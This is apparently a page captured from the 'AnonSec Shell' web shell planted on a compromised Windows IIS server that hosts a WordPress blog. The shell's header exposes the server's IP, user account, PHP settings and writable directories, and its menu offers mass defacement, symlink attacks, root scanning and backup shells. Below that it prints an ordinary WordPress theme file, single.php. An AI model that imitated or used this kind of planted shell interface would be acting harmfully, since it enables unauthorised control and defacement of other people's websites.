. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 87.98.249.37  /  Your IP : 216.73.216.208   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT NS3076740 10.0 build 17763 (Windows Server 2019) AMD64
User : IWPD_292(growel19p) ( 0)
PHP Version : 8.3.12
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/growel.com/httpdocs/blog/wp-content/themes/blaskan/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : C:/Inetpub/vhosts/growel.com/httpdocs/blog/wp-content/themes/blaskan/single.php
<?php
/**
 * The template for displaying all single posts
 *
 * @link    https://developer.wordpress.org/themes/basics/template-hierarchy/#single-post
 *
 * @package blaskan
 */

get_header(); ?>

<?php

// Get layout options
$site_layout = get_theme_mod( 'blaskan_site_layout', 'right-sidebar' );

$class = 'col-md-8 col-sm-12';

if ( $site_layout == 'left-sidebar' && is_active_sidebar( 'sidebar-1' ) ) {
	$class = 'col-md-8 col-sm-12 pull-right';
} elseif ( $site_layout == 'no-sidebar' || ! is_active_sidebar( 'sidebar-1' ) ) {
	$class = 'col-md-12 col-sm-12';
}

?>

    <div id="primary" class="content-area row">
        <main id="main" class="site-main <?php echo esc_attr($class) ?>" role="main">

			<?php
			while ( have_posts() ) : the_post();

				get_template_part( 'template-parts/content', 'single' );

				$author_bio = get_option( 'jetpack_content_author_bio', true );

				if ( $author_bio ) {
					get_template_part( 'template-parts/author', 'description' );
				}

				$current_post_categories = wp_get_post_categories( get_the_ID(), array( 'fields' => 'ids' ) );
				if ( ! empty( $current_post_categories ) ) {

					$related_posts = new WP_Query( array( 'category__in'   => $current_post_categories,
					                                      'posts_per_page' => 3
					                               ) );
					if ( $related_posts->have_posts() ) {

						echo '<div class="related-posts row">';
						echo '<div class="related-header col-md-12"><h5>' . esc_html__( 'Similar Posts', 'blaskan' ) . '</h5></div>';
						while ( $related_posts->have_posts() ) {
							$related_posts->the_post();
							get_template_part( 'template-parts/content', 'related' );
						}
						echo '</div>';
						wp_reset_postdata();
					}
				}

				// If comments are open or we have at least one comment, load up the comment template.
				if ( comments_open() || get_comments_number() ) :
					comments_template();
				endif;

			endwhile; // End of the loop.
			?>

        </main><!-- #main -->
		<?php get_sidebar(); ?>
    </div><!-- #primary -->

<?php

get_footer();

Anon7 - 2022
AnonSec Team